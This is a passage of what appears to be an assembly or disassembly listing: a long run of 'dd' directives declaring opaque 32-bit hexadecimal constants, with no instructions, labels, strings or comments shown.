8C2F92EEh, 0F0AD20EBh, 0A18118BBh, 46B10BAh, 770F49E2h dd 7B0FD05h, 0F3466E27h, 0FF890051h, 2D756104h, 0CE008DE3h dd 3B62DB7Bh, 0AC6BE0h, 0BE59F376h, 0F1C3DCE8h, 1E0138F2h dd 0E9C149D1h, 0B44C27E7h, 913B048Dh, 327DC739h, 0D1E05F72h dd 6505E89Dh, 9C07F06Dh, 0D0E78DC1h, 8B80B9BBh, 49BFD8B8h dd 5F71A8A2h, 0F30F9CA0h, 0A7B1A105h, 0D5183B9Dh, 2492CF88h dd 30D9CC2Eh, 0FBDD8610h, 9C8AA202h, 87C96F31h, 0DFD04FA1h dd 779827h, 8A96F60Bh, 8F55C82h, 957C97EEh, 0F87A5300h dd 0B4113EBDh, 1D7D2Fh, 1B6FADAEh, 81790ECCh, 51C4DD06h dd 29F228h, 0F61E5D38h, 0E53483A1h, 2D0022F0h, 1CD6F43Ch dd 0E315BC8h, 5EC656B3h, 0E84E7020h, 8500F1FBh, 0AFABF2DFh dd 31AD88h, 0F9B92478h, 2F825C34h, 0DF0352E6h, 0AD3E9432h dd 4E308073h, 4CA20318h, 50D4D193h, 7EFE0CD8h, 6B92A800h dd 0A7FA4F87h, 0FDA50843h, 0D20395D6h, 0EBFF8CCFh, 9A84C8D8h dd 2DA30077h, 576E697Ch, 0D100C483h, 304F05F0h, 170A0A6h dd 0DA668CD0h, 0C4A42810h, 5600CB35h, 37B6770Ah, 50FBB2A0h dd 50DDA4AAh, 0A21BFAFh, 0C8E5A58Ch, 7DB700BCh, 41100468h dd 5B00F372h, 4B0A1D1Ch, 0D9CDE6h, 0D2A953E2h, 0ADEA46BAh dd 61595800h, 5D3F401Eh, 50553F38h, 232C5C00h, 5A8E946Bh dd 38C3738h, 74ABB66Ch, 5EEB8852h, 0A68400B1h, 0C387B8DFh dd 53E230Ah, 91A78092h, 0F89F2467h, 0D12800ECh, 0BBB948A4h dd 4400DB09h, 0CBA6BF9Ch, 0FC85ED8Bh, 77970067h, 27FF2F60h dd 0F2EAD437h, 0ACE691ECh, 225E9300h, 512415C3h, 0C47DB2h dd 0FEA9BD69h, 0B1B49D68h, 855BE00h, 95ABD144h, 3CD800E7h dd 7CFE84F6h, 673841BAh, 75060007h, 27D59816h, 35B11FEBh dd 84440F2Ah, 9FC52260h, 0D00E82ECh, 8041BD62h, 0B2BC918Dh dd 2E940034h, 4A3063FEh, 683FD142h, 0DA9080FAh, 9433DC5Eh dd 27722CFFh, 84900AEh, 1F860FC0h, 4BC78300h, 0D19FA53Dh dd 2B9600F4h, 0BA2E3AA7h, 0BF009BDFh, 0F3D98F5Eh, 75D1947Ah dd 293F0EB5h, 90407FA4h, 518E414Ah, 5B006376h, 64062B83h dd 0FCA25D35h, 22210ECBh, 0A4E77DDDh, 3C445013h, 0C5005475h dd 3D9ABCC1h, 0F1C1012h, 0FB50BECBh, 0D1922340h, 0FC007440h dd 9FCE07F4h, 46F373h, 35D49124h, 8596EE49h, 6D579000h dd 97A2D14Bh, 0F8D590B2h, 0C568009Eh, 50CD2EBCh, 0CF002BDAh dd 8028F15Ah, 0FA6C8Eh, 0A4086537h, 943CE9Fh, 0F0E6C351h dd 25000B13h, 64AE8980h, 0EFF387h, 4066DE9Fh, 0F94A27FBh dd 88E6DF7Eh, 0C08E7E0Eh, 0BBA9A072h, 4C6379h, 23335E35h dd 0A38BC9A5h, 83FE3E6h, 3C7F80B9h, 250D2E20h, 0BE8005Ch dd 0DC682DCDh, 1B00DAFBh, 9FABD4Fh, 0E09530F6h, 0C1D90EE3h dd 94616DA5h, 40747B18h, 0A2E4828Fh, 0C6BC9600h, 4941E3F2h dd 88D50E45h, 0D6A02DD9h, 4ED8E89Ch, 0DD043Bh, 4244EA73h dd 6657C8h, 0CA19EE0Ah, 7B9BAE14h, 8517F701h, 0CFFD3E92h dd 0C0E64AC1h, 98597C42h, 0EA35008Ch, 39D36E93h, 0AC12A149h dd 0EC0094D4h, 61D6F837h, 0F9AA2E96h, 48EB00D0h, 794B0715h dd 5070CFE6h, 6B6C1B00h, 0E3C138B4h, 0EE410084h, 3519AA2Fh dd 1D3B3C74h, 60CA80FDh, 4A3299D2h, 45C000BCh, 99B4003h dd 9400CCB2h, 935731F8h, 1F3DF2A4h, 80BEE4D9h, 0ED51CB02h dd 8503431Dh, 0FB533C84h, 3A280041h, 0A92B0736h, 9930D196h dd 162D846h, 45BE0027h, 67B9F60Ah, 70485D3Dh, 0A11F80D0h dd 77E3337h, 0F19A289Ch, 0DE3630CDh, 0D20024D1h, 4813C567h dd 7F894966h, 423D07ADh, 0E025532Ch, 2E935001h, 4B669400h dd 0D8300972h, 750400DDh, 95B962BCh, 0BD009D80h, 0EE5060D6h dd 1037CFh, 0E2CDF9C9h, 4D011848h, 0CB9D4C07h, 0FDA1AE9Eh dd 0B0F75D69h, 0FCAA9EEh, 1DC440EDh, 0D479A020h, 780F1BB7h dd 9DDEBFC1h, 0FA99A383h, 1064C039h, 0BE49008Bh, 7D88B8F1h dd 0D200A509h, 0CB81294Dh, 52AF8Dh, 0F31C3E5Fh, 8CC2C8DCh dd 4AEDF901h, 3AB2F8Eh, 5E17F0h, 0F54B5D0Ch, 5FD2096h dd 6120509Ah, 3D17D28h, 0B5B874BAh, 7AA0BE31h, 0D803DCDEh dd 866AA504h, 5BFAC006h, 15E690h, 4E8B2366h, 0A7086011h dd 9EAE9300h, 3EABEBCDh, 0EE33E5Dh, 8D820B8h, 0A97BEF01h dd 0C998481Bh, 5AFEE489h, 3500937Ch, 0F3C8649Bh, 0E47A280Bh dd 0BBB500B7h, 5311E789h, 620FD4F1h, 600AF61Ah, 8FBD80DCh dd 2A5200DBh, 8163E321h, 370001FDh, 0CAB41899h, 0F12C3B5h dd 0C443085Bh, 0CCAE5462h, 0EC778861h, 90EE8DC8h, 0B637B907h dd 5AE015DAh, 0C44168h, 0BDE9FF7Fh, 1FAC34AEh, 0DD83D600h dd 994A4D08h, 0E655012Bh, 2368EF69h, 328B208Fh, 5D6F7705h dd 2CC03524h, 49830Bh, 0BCF0C91Ah, 71CB7246h, 1E1C2972h dd 0F618FA15h, 5DF95088h, 0D0750CCh, 40CA8F4Fh, 2AED8CD7h dd 1469A0Ch, 281F2191h, 0F0DCC742h, 0E32CA0CEh, 861500ACh dd 0AE8EC9BAh, 7F002F51h, 83B58BFh, 760ECA4Fh, 4CB401A5h dd 1119B823h, 62AE8A7h, 0C37C16B0h, 700C1A03h, 90C7BB1Dh dd 444CA2Ch, 53169F73h, 0F910D0EAh, 0B9017AE9h, 0D8BBAF62h dd 408029E3h, 4FAD2474h, 54A1DC08h, 10F4FD0Dh, 946A068h dd 0A49FA7F8h, 0EDD6E80h, 0DF00DBFDh, 4E050DC4h, 3A25CA0Bh dd 9300718Eh, 17AB4658h, 0E874A279h, 4EA1C705h, 0B28006DCh dd 1DD21D92h, 0FD2B05h, 0A10F1A9Bh, 0CF0AAE78h, 0BB58CDEFh dd 229F1D00h, 0BF6160h, 51C08FC5h, 80E37AA8h, 0BBA6900h dd 0CAE76CCCh, 0B9E1C7DFh, 0DE18371h, 266A85B8h, 5C052A00h dd 4961EBBAh, 0A8A700F5h, 520332E2h, 0BD0016D8h, 185EF36Ch dd 142B51A3h, 0EC0FA544h, 7F0DE00h, 7788A2FAh, 0D2BF3Ah dd 64A6C782h, 4C7AB58Fh, 0FA002166h, 49D82227h, 0A45415B7h dd 260111A0h, 0DB3AC4E0h, 78F4EB8Ah, 4C71001Fh, 51F22D64h dd 92283D40h, 0F600C753h, 0A28ECD85h, 0EE54DB81h, 9C6302Dh dd 86AB8388h, 0A1E9D300h, 0D62564CEh, 8E3348ACh, 9915E200h dd 861230E3h, 324A201h, 585EC546h, 0A051FB70h, 9A2048h dd 0DE5486B0h, 0EAB6DE9h, 4C894Ch, 0B26190C9h, 2DC5A6CAh dd 0CEE14E8Ah, 0DE59608Eh, 0FAB1FB0Eh, 0A6FEA389h, 4D400058h dd 489605A8h, 0A77B537Eh, 0F7CE1100h, 75EE663Ch, 0D40700B9h dd 0FCB4D1DCh, 400E205Ch, 3D5BD7h, 7D9719CFh, 9E631D66h dd 3C368046h, 0D358E23Ah, 514EEA03h, 0C085CE6Ch, 0DE53D7h dd 0AFD56E42h, 0B7433ABEh, 8B5FAB00h, 66F7913Eh, 96BF0074h dd 0B85DE12Dh, 0BB0FF4D5h dd 41E553D9h, 0F05CE05Eh, 16791083h, 0CBA01C38h, 0E7007066h dd 40FDF1CCh, 0FBC61E8h, 64214174h, 0E6C64E80h, 0BF00E198h dd 2BF9FBB5h, 0F1754Fh, 0B9EF56DDh, 825F88DBh, 633B1102h dd 80CF73h, 0B305F4FEh, 5025043Dh, 9A3DD6D0h, 4A7A33A5h dd 0A23960DEh, 95E4DC2Fh, 473890Fh, 8F809D5Ch, 7D210A23h dd 6FE8002Bh, 0DEA1781Fh, 9605D779h, 43AC3212h, 9868E083h dd 0E4F0C85h, 0A542B4D0h, 0E2F247A0h, 0CD0E4E4Ch, 80DA1B67h dd 0FD8CC6B9h, 26E67D66h, 944501h, 15246F0Ah, 8500392Fh dd 71EB3C59h, 43BF92h, 0E9B86A07h, 93CF9981h, 0B7E01B0Eh dd 0BC9DC0FAh, 11340h, 0D4331AA2h, 0CC1C0B3Eh, 7667831Dh dd 7CC3B4C0h, 456823h, 0B13BE528h, 48183C44h, 6EB23Ah dd 0AD78B905h, 1DDB5A9Ch, 405BB004h, 0B3386F41h, 1400D7DFh dd 13647C93h, 38FFF337h, 8D30A712h, 0C1E283D0h, 3705F6Fh dd 0EF5B613Ah, 36BD533h, 4F178720h, 2A98E715h, 8900B9A0h dd 0D2DFA5A8h, 6686241h, 0FAD1F0D0h, 160E3061h, 5CE16D79h dd 0CF753000h, 297BB4h, 368DD415h, 170680BAh, 56D51600h dd 82545ACAh, 3D4E02Fh, 0ED83D920h, 903DCBE5h, 15BB1DE4h dd 3D697041h, 0E3F88D24h, 3A2EC49Dh, 8839C381h, 10E2C6F8h dd 3E796200h, 212E1DB8h, 327FE87h, 9D2A8ED5h, 3398AB20h dd 0E8005356h, 865E72Fh, 89E2C9h, 0A5ECE58Ch, 1630029Dh dd 9291EE2h, 4C612084h, 910C31D7h, 0CDFA700h, 0E5A555E0h dd 12B9E26Ah, 9DAD5Fh, 367CC194h, 570CA6D1h, 48888642h dd 0F9F8FC4Eh, 0C596F701h, 4C32F0BFh, 45BB1700h, 5077F92h dd 4A43603Eh, 0D4FEC724h, 0C1507801h, 0F3045CEEh, 292C8D3h dd 99F8ABh, 9F987D9Dh, 1762E03Fh, 0E209A600h, 0D4038768h dd 2893F2A4h, 0FA4F49Ah, 5C4E44Dh, 2C00188Eh, 0DD661C39h dd 813C0C3Dh, 2A91E5A6h, 58814169h, 16C6A2AFh, 5713E0D8h dd 0B8E5FF30h, 4936DDBh, 8658DABEh, 9AA2873Fh, 0FD72E080h dd 0BC464A57h, 979A6CC0h, 0F0C002B4h, 90EF066Eh, 0D8570CA7h dd 1090FEA4h, 7B66A100h, 24437478h, 73E70196h, 0B3D5CBD3h dd 0D6B8FC5Bh, 7D19BF00h, 0CEF7C8D4h, 859D2805h, 0ABF40087h dd 7880426Ch, 13008898h, 0D404FD1Bh, 29E0105Fh, 0C020BCCBh dd 0AAECFE0Fh, 2EF02E84h, 8A6002F9h, 80409638h, 0FE09DBD2h dd 8010F84Fh, 0CF1A53D9h, 0AA6FEC9h, 50261C2Fh, 19EC05C4h dd 8EC80084h, 0A6E2CA11h, 0A26AF500h, 680476DAh, 0AD21C720h dd 67B8F0A3h, 0A73059E0h, 0B3181924h, 1BE8EAh, 92CBF466h dd 17CD236Ah, 510376F0h, 0A1EEC943h, 0D48800BEh, 0D12EE3F5h dd 32003F34h, 678EC7A0h, 0D8DECEh, 9D841537h, 0A2465E43h dd 0A70C3400h, 71671335h, 889850BEh, 0EE520066h, 0E07579CBh dd 0F50025B4h, 0FCA429C9h, 0B2108Bh, 60AA5CFBh, 0A9BDC393h dd 7A2AF21Dh, 6D68F4C0h, 1FB97D6Ch, 0C66A50AAh, 58F12641h dd 8E261190h, 0D5002E93h, 39C81EDh, 0DF7E030Ah, 21E49DCCh dd 0D948BF8h, 0D1589975h, 1E2C00F7h, 1DC5F2B3h, 92AD0F21h dd 4B49EB18h, 0ECE08C00h, 490EDA7Bh, 1849FBBh, 0BCD0DCF7h dd 93A41F0h, 4373C0F8h, 62657820h, 9F1D9B2Bh, 99C0213Bh dd 157E4DAAh, 7AC302F0h, 0FD3668A9h, 0EB1BA481h, 411AC1D3h dd 507FA1ACh, 32FF86B0h, 60FEBD00h, 0CB2A06A5h, 269A00FCh dd 0F66165B2h, 0AE304740h, 0E07A3176h, 0F3D200E1h, 2E4F4E46h dd 88A0CC36h, 2A00733Bh, 90B93AACh, 75FC9C4Ch, 0CD81006Eh dd 3909B40Eh, 3B007CE7h, 0EB87FF67h, 3BFD249h, 69D4EFF2h dd 0E7F8AA95h, 0BE0215C5h, 0D73552E3h, 0CEFF817Eh, 0E5C4FD3Fh dd 0C6E60E9Fh, 0F486602Ch, 0EEA120D6h, 0B418DC41h, 8C2FA40Eh dd 0AF684033h, 0E058DB42h, 914F003Eh, 2AD541F4h, 7818675Eh dd 8E405CEFh, 7C7F00AAh, 3CE3698Bh, 0FB0CF4CDh, 802DB33Dh dd 94B71D8Dh, 0EA39812Fh, 0E8990B6Eh, 4220FF23h, 276400D2h dd 0C055B51h, 95033FBFh, 0FCC87DB7h, 912EB873h, 0E8163E99h dd 0BD2F580h, 5B4B52E5h, 87836E0h, 18B1D939h, 0FEF12FAEh dd 0F5530016h, 38F70C02h, 0DC0027B6h, 8CF864AEh, 0F07593BAh dd 6B3B1F3Eh, 469828D8h, 42AC0095h, 0B375FDF4h, 3C74743h dd 6CBF254Ch, 144EE821h, 429A00C4h, 0F99CBBEAh, 56281FC3h dd 36789CB1h, 91182E00h, 0C047C7Dh, 16850083h, 0DF098140h dd 7B0EACAAh, 207351B3h, 17310530h, 6B2F0E5Ah, 0A020AE09h dd 0FCB5E60Fh, 77013Ah, 0B12C3641h, 84CB05h, 7F4732A3h dd 501EB31Bh, 70ADF00h, 88766CA5h, 4782CB33h, 2905CE00h dd 5D06A07Ch, 68C02E48h, 408F4BCh, 0AA737F5Eh, 0B85CC08Dh dd 77982F38h, 0C25DA60Fh, 64C12081h, 743AA36Bh, 0F5480043h dd 0CFDB5697h, 2800C211h, 0C7F26EBFh, 425E80h, 0F54C5032h dd 3F0488E7h, 0C4AF4B00h, 0D5FE27ABh, 37A00C0h, 595A8980h dd 563AB899h, 30C800E5h, 14F6C462h, 8445007Ah, 471E9B09h dd 67008C7Dh, 12C3ADAEh, 56029336h, 68C10413h, 0CC2B7007h dd 5A06AEF7h, 0F8722D86h, 47DD0720h, 0B091FC0Eh, 34982E67h dd 97ED6800h, 47A7BA2h, 0B23E0096h, 0FA03BE13h, 59CB2730h dd 0C0FE9Ch, 0F29792A4h, 0A8009870h, 0DC36C77h, 85C54Ch dd 1A4E27B1h, 18D12A8Dh, 0CA00BB78h, 306E2E1h, 81613h dd 79EEE78Ch, 2E6D677Bh, 0D93E0A01h, 31658A63h, 7080F5D1h dd 1F48815Dh, 2600BE61h, 0BAB40B18h, 1E8C3145h, 0F0D77CD0h dd 48096D99h, 0A63EB701h, 0E3458EA3h, 0A05B60ECh, 18258FEh dd 4EEBC8Ah, 80373948h, 84333688h, 0E6687Dh, 0A7C6D90Dh dd 0B0DBF1D3h, 31B440E5h, 50014D21h, 0B2B3A975h, 0ECCD25A3h dd 0D90CC980h, 583392BEh, 59DE6A03h, 0D8070972h, 0F2DC4B2Ch dd 0EB3BFA27h, 0CBD63180h, 0B1945538h, 87AFB007h, 0FB43ECC5h dd 0C881A5EFh, 0F4DC32BBh, 4D070FD0h, 446045D6h, 38923BB2h dd 0E63DD900h, 404CA490h, 5AE70097h, 0C56C66E5h, 0DC0655F0h dd 44AF3F70h, 24E0C110h, 0CBDE2E29h, 27C003D8h, 18897D38h dd 0F090029Fh, 53370848h, 0E660ECF9h, 3F13EBDEh, 11805688h dd 30D4090Dh, 8400AB76h, 0B9558AB3h, 9AEFCB2h, 0EC312853h dd 0F0CA3C2Fh, 86A3039Ch, 23F8E59Ch, 77011B63h, 6B111862h dd 0D840173Eh, 8601C0h, 739CFDAh, 2FA15ADh, 1D7F2158h dd 1D80944Ah, 0F6427625h, 79820023h, 0FA6069E0h, 9300F4C3h dd 0A1BAC465h, 0F8F212EBh, 4D5C3147h, 2064E738h, 0E000B2D6h dd 0DB6C3EF3h, 14D2ABF9h, 0EE4D49D4h, 0D7AF3405h, 0C094479Dh dd 4261D090h, 43127BCCh, 94416647h, 0EF6F4077h, 53CC2D8h dd 0D3C9379Fh, 0CCE85D2Ch, 2A919429h, 0B7453306h, 0C1AE04h dd 7B3AE073h, 423D6030h, 0A8198C16h, 2044320Ch, 0F8AB07CAh dd 87EE3F39h, 714B97C6h, 24D0EDA9h, 65249120h, 0A284F8B6h dd 0C881B43Ah, 27E0FAFBh, 0B978C6D9h, 67002015h, 0B165B58Fh dd 0F0DCD81Ah, 0CD4700D4h, 43DB953Dh, 0F44CA8FBh, 4BC81D04h dd 154E415h, 84FA391Fh, 0F30C0188h, 12CD88h, 1D4AB3C6h dd 31F5C2C7h, 0FC019B09h, 0D8A4182Fh, 7F1C04E6h, 21C94F6Eh dd 0DD00053Ch, 0D00F87Dh, 55824495h, 7F256539h, 11D300D9h dd 0DBD5DF29h, 84F2CBA3h, 0E60035E6h, 9802C938h, 0F846474Fh dd 3840541Fh, 0FE608D7h, 68CE5679h, 532C0BDCh, 8F8F00DFh dd 1C5F11h, 6EA70318h dd 0E07DD2DCh, 47EC5B01h, 2A44210h, 1FD4E3E8h, 0BA6F9711h dd 0A312F407h, 0B7C03F93h, 1CA12CEBh, 0F7DC4900h, 0C8B9E056h dd 0F2D30165h, 749FDE8Bh, 0A3D080C5h, 53D52B0h, 241F867h dd 6AF28C94h, 0E490D591h, 0F03BB92Bh, 9D1D10BEh, 708F6A88h dd 0BFC034Bh, 0B05BC078h, 74E49Dh, 7532287Eh, 4537FD3Ah dd 86C088ADh, 0BC6A98h, 6F4E7587h, 0A34CE122h, 0E0E97324h dd 0EFF9F88h, 6CA3D5E5h, 106703DCh, 960053DCh, 0E549095h dd 4AFEA29h, 3D0C8BE0h, 0E1C0B4A1h, 31CFF33Ch, 95CF213h dd 223741A5h, 0EBBEF880h, 0D89A2840h, 8DC0AD0Bh, 0F80180CAh dd 5E15A2h, 9D524A58h, 0D7703AFCh, 691FE502h, 989435F5h dd 14B916A0h, 9CDBD337h, 0A322A042h, 0B6FA7300h, 0AB46FFCBh dd 0BC666030h, 698A9150h, 0DCA7F202h, 845228D5h, 0F49065A8h dd 0FA54902h, 70436B35h, 3177D1C7h, 34E6AB0Ah, 1F20C9Ch dd 0F2875884h, 1A115309h, 0D4729C98h, 551780h, 0F0DA8A48h dd 420597C2h, 4B229112h, 0B793A805h, 579BF480h, 84BD49D9h dd 501C1300h, 0C6D6892Bh, 0DD482761h, 2306495h, 0D2F637h dd 101E92C2h, 0FBA40B9Dh, 94461200h, 0BA15D4D8h, 0A18A01F1h dd 0E2DB7804h, 0D0ECF390h, 434A3654h, 0CF715E00h, 72ADAA5Bh dd 0B4830C99h, 29E1C36Dh, 0C0542558h, 94534244h, 13E74319h dd 98003DD3h, 2636DBACh, 9830067h, 6A1A5732h, 0B900DF5Bh dd 6BD6AE9Ah, 0A58CBCh, 0C48FD544h, 58A3014Ch, 391EE900h dd 0C9F15E5Ch, 1D3C3C30h, 9F01A9CCh, 9439E3Eh, 8AA02050h dd 1044DE22h, 8EB6CC14h, 0BE0AC2FDh, 20004CC3h, 0C20013E6h dd 5D77B485h, 9E690Ch, 0EDF5709Dh, 0F4DE1F10h, 0A1646200h dd 33EC5C16h, 0A80C484Dh, 3C0C2E96h, 9100C33Eh, 8C1AC05Bh dd 7D00ADFAh, 477B570Ah, 2936063h, 41D6FB9Fh, 0ACA1E4AFh dd 0D2AAC972h, 6012B8E1h, 13B8FB84h, 15260A00h, 0F7048D46h dd 0C7A0A04Ch, 0B31F0187h, 57A52789h, 0E4B2DDCBh, 113F4B88h dd 0F029B0D4h, 3CABDF26h, 0E00B4FBh, 0F2ED6CCDh, 0A9EA6B61h dd 0D16E2703h, 74FE49E3h, 1E0870C0h, 0C013C2F3h, 306E4623h dd 4100A638h, 8B49963Eh, 5512612Ah, 3FD9B8CCh, 883120h dd 21D2A474h, 1D523598h, 3C372216h, 0B24A5823h, 3398490Bh dd 0EB00AC22h, 5977E3E4h, 0D900B7DEh, 20189524h, 10C54ADFh dd 0AC1572B9h, 84F0E84Eh, 10E89FA2h, 0F006CB9h, 0EC2CFEF9h dd 1ABB1BCh, 1299C5D3h, 0F8CB90E1h, 577B7D73h, 0A355F514h dd 349F2CDBh, 0EAE3E701h, 0A8FC9585h, 3FDB3EF0h, 7226C100h dd 9CEC6073h, 1F442E04h, 3AC023D8h, 0D63AAB1h, 61DB937Dh dd 0D32C20h, 0E5C8C55h, 0C6314B41h, 20536708h, 56393F00h dd 798BEFA2h, 2181001Ah, 0F74D32FCh, 0BD03ABD0h, 85E7B41h dd 3980A54Fh, 46AF73h, 587F44D1h, 3C69B925h, 0ADDEF107h dd 21D0E9A3h, 1EA78AAh, 1489F70Dh, 0C07F9CEDh, 0FF0F1AC5h dd 360041Ch, 0E15A2685h, 20BFEA17h, 491B7080h, 4046FE65h dd 33095D01h, 0B02E939Ah, 87FC5191h, 0F00155E0h, 0BE0C5CCCh dd 1E32D640h, 3DB1C03h, 66DC6964h, 2AC93800h, 0AF17BDC1h dd 0B47348EEh, 6060AA30h, 0D13167FDh, 819DE075h, 6F921D4h dd 3B983ADAh, 0A90A405Eh, 0B0950263h, 48B0BB67h, 4294048Ch dd 61331842h, 2458E30h, 666C557h, 57A02Ch, 9F897A69h, 16F30712h dd 2F4CC0D5h, 843AC360h, 2103E72Fh, 42C4E0CBh, 0B06840EAh dd 0B9CF00A6h, 0ED503F2Dh, 83E84A29h, 0EC4E0574h, 7001FACh dd 980C2559h, 67015EFFh, 39C0457Eh, 0E080A838h, 9D5AB7ECh dd 9E091859h, 20678D3Eh, 96923C24h, 0C5BA1537h, 95013048h dd 0DCEC4ECCh, 0F112D808h, 0C8006872h, 0C3875E70h, 1CABDBE2h dd 6850A769h, 72640088h, 338484Ch, 0BB009B4Dh, 34AA477Fh dd 0C0AD7A61h, 421DEE88h, 6D390910h, 66CA019Bh, 0DA63489Dh dd 0E76420h, 0E5F6E686h, 0D7DC98DDh, 0EAB8C00Ch, 0A7C8CFh dd 9E67D56Dh, 0ED306312h, 775D6A00h, 5139D846h, 0FCF28D6h dd 54E948CAh, 3E29D30Ah, 1F1980A4h, 0B67BC220h, 0B0963B8h dd 20AC7D0Ah, 7BB3100h, 0CDEF004Fh, 3D65B66Dh, 520174A7h dd 732E6457h, 53FCCE0Bh, 87E03F40h, 84E54F09h, 0AAB6E880h dd 0D71D3F4Bh, 0C0401798h, 37AF48D4h, 0F4DD0381h, 361E6916h dd 9AE344E0h, 0E5FDBF03h, 0F06170A3h, 0FD5D05AAh, 27ED20h dd 1CDDBAE7h, 4EDFAF42h, 0D2B41A09h, 0BC4C0097h, 0AFFC5E8h dd 0F4111C78h, 0C0C24704h, 128C171Fh, 84D0CAFh, 0EC0E301Ah dd 0F06781D1h, 8B727075h, 0CB032DB6h, 1EDD08CEh, 2119FE9Fh dd 0B9048AF2h, 0EE4874E8h, 855C6161h, 8118611h, 181E50E0h dd 1D118682h, 0BA089164h, 76BDC758h, 575624A1h, 84306A48h dd 42C8688Eh, 2276DB87h, 0F410180Ah, 43651F83h, 0E1261C71h dd 3C606D0Ah, 1448A215h, 30246E82h, 1B74791Eh, 0ACA65081h dd 5D29009Dh, 48F65B8Fh, 1340A8D9h, 647DBAh, 0EAE6613Fh dd 6F7E8984h, 11F52300h, 65F14A8Bh, 0E49B02D2h, 1D394E26h dd 7DF9D4A0h, 8E1402B8h, 3EC806D0h, 86FB005Dh, 53F7EE37h dd 0D5C801B6h, 85E96018h, 0ED06EC65h, 0EF80C400h, 0DACB0D7h dd 73C27453h, 0A0E40305h, 0D5D9D44Fh, 0C7C08FD3h, 620AA6AFh dd 4CB7FB40h, 73C4A241h, 3427D983h, 71AFBAC5h, 0E03C2BE2h dd 0A3004350h, 0AFA5C72Dh, 6E7374h, 0EC29F54Ch, 0DD7B9561h dd 623E55ECh, 5854003Fh, 53E776B1h, 0E20C020Fh, 7ED7BE45h dd 1A791CB1h, 130FD107h, 9ACB1698h, 0F8716A24h, 25508517h dd 37FFA8C0h, 90EC15BEh, 0CA427359h, 8E2D0914h, 83860014h dd 8F6BB9F9h, 2F400028h, 7ADB42Ch, 24006951h, 7313E85Fh dd 0A478A020h, 0C1E05Ch, 1308309Bh, 1E24F9E4h, 7CB59E02h dd 0C0B1E37Fh, 569F65h, 0D81721BBh, 54CD0BF3h, 0C2D3CC0Fh dd 0DA54FDD4h, 0BAF403BCh, 0ACEBA827h, 40763082h, 0AA65D10h dd 0ED3F1B9Ah, 999E0114h, 20E710A4h, 90076D8h, 0AD047066h dd 52E30B7Fh, 74B05829h, 14432FD4h, 4C9C77F2h, 0EF1E7C00h dd 8EEC597Fh, 587D030Fh, 84FCD117h, 9C780CF0h, 4FF4521Eh dd 82FD7649h, 68056438h, 7A89CF40h, 0FA1F12D3h, 9C844EF7h dd 6DA31AA0h, 0BE00F634h, 744EC977h, 4FB4313h, 603C7E39h dd 0F0748855h, 18A08C43h, 6C006E38h, 64A98BF8h, 9557CC5h dd 0A7413C78h, 0FEA00C0Fh, 6D394410h, 61909661h, 0B080F351h dd 4E34701Ah, 0E3007750h, 71F410BCh, 1AF8F5Eh, 0B1C9670Ch dd 4A6294A8h, 7898E6ACh, 900500DBh, 0EE4ED8C6h, 4B495328h dd 0B637C294h, 5D44EE3h, 9336C189h, 18447E80h, 78E801C0h dd 0CA4128Bh, 334004BDh, 4CBA8h, 82CC854Dh, 0D932D6h, 0C0CB1AE7h dd 0EA255453h, 9B90A612h, 5C09E83Ah, 0DC1C4632h, 0F700E3E8h dd 0ED395262h, 0B8794D40h, 0FDD80AAEh, 0CF842E6Ah, 0D29C5C0h dd 550073F4h, 77792AC9h, 3B4274ECh, 0BA001AFAh, 0D529A2FEh dd 0B63D97BCh, 1058021h, 0EB4B569Dh, 0EDB101D9h, 77FB24AAh dd 0FD042011h, 7A81531Ch, 49503BC0h, 6FBABED0h, 5BA1606Dh dd 42BFDC4Ah, 80604DD0h, 7E26F6BDh, 9209E8B2h, 0C1641507h dd 33BB6EDFh, 0C1190008h, 9D92DB04h, 980B9860h, 2B120070h dd 0FE8A5859h, 0B312F87Ch, 0C2B30EEh, 1F08BE81h, 9D8B9B7h dd 204D35C3h, 1CE9A704h, 0B56E3C3Dh, 0B763D105h, 0C0FC2A98h dd 0DEE32EE6h, 6AF8057Eh, 4035E79Eh, 118D27F4h, 1C14E830h dd 0B08098DFh, 59505AA8h, 97EC28F8h, 9CE05F69h, 789088E8h dd 0BFB338E5h, 31ACBA73h, 4B10D96Dh, 0F04E1011h, 885072FDh dd 511AE9Fh, 86020C4Dh, 0F6C83FB3h, 3C683E20h, 0F4FF403Dh dd 17D9A805h, 0FC900711h, 2E778D9Ch, 805C8162h, 0E85A0DAEh dd 4092F214h, 0A4B0D261h, 0E420BFFBh, 0ED79181Fh, 0D317B892h dd 8B9C3Ah, 7F03F829h, 0A8CBB62Bh, 2CC8149Ch, 24A4B72Ah dd 0FCA18C00h, 5015940h, 819977FAh, 48F12817h, 78715FE9h dd 46E20040h, 60297E85h, 9DC2B809h, 0A170A399h, 2F5A720Fh dd 0FB76058Ch, 1579E400h, 24A41774h, 5C8B227h, 4BD5442h dd 985C51B0h, 6EFC6490h, 1913CC98h, 0D001A0B6h, 0EF9E8A03h dd 4D104C24h, 0D50258BAh, 4F49D845h, 0CB40DC80h, 261DA514h dd 61054DEFh, 0CC5C6E70h, 9140F5DCh, 0B8FC1B5Dh, 28E80014h dd 49EF7E68h, 0E5006C31h, 0FB598D60h, 0D7DE17h, 3833C4EEh dd 0A536D37Eh, 0A3654703h, 0A193DF80h, 20A8FFE4h, 0FC670042h dd 10E0852Bh, 0BC07B081h, 5DE959CEh, 605E40C1h, 300C9447h dd 9870097h, 3821FFE7h, 5F000BE0h, 0D2038878h, 1C172E47h dd 90652BAh, 76864B0Ah, 4A05380Ch, 0D80E9BF9h, 86EA4C00h dd 2167A52Bh, 0C340B9A6h, 16276475h, 0AF368CF4h, 4A40D21Fh dd 0E8AFFDD3h, 4748C098h, 0C863F897h, 0D4515300h, 0A33DA09Fh dd 213730D0h, 2DFB5880h, 5C0288ACh, 37A4F181h, 13E31941h dd 0F1A1E0C5h, 461E0381h, 0E6E74C3Bh, 0B1FFBCB8h, 0F3037000h dd 2DA863FCh, 9AB030ACh, 0B4931358h, 0DD569501h, 0B51053Eh dd 9994088Ch, 39009D20h, 0B01A6CBAh, 0EEB7A216h, 70A30004h dd 887BA9F6h, 2F00C05Ah, 2103A0Fh, 7DCFE4h, 8A9F61ACh dd 671FA425h, 0CA282700h, 0D10A3D9Bh, 0B0E600D9h, 60ED5BAFh dd 0AB002318h, 4609CE91h, 829CC3h, 35BD14ECh, 0F99DA9A7h dd 40DFE00h, 0F42E46EEh, 6058E43Ch, 0BB8530D4h, 9E0F452Bh dd 478095A4h, 2CC30383h, 0C5C0FF24h, 0F655EF84h, 0ABCB01EEh dd 0E9238A97h, 8011BDBAh, 0DA0C0971h, 61D36099h, 3CC048BBh dd 0B926C00Fh, 2005202Ah, 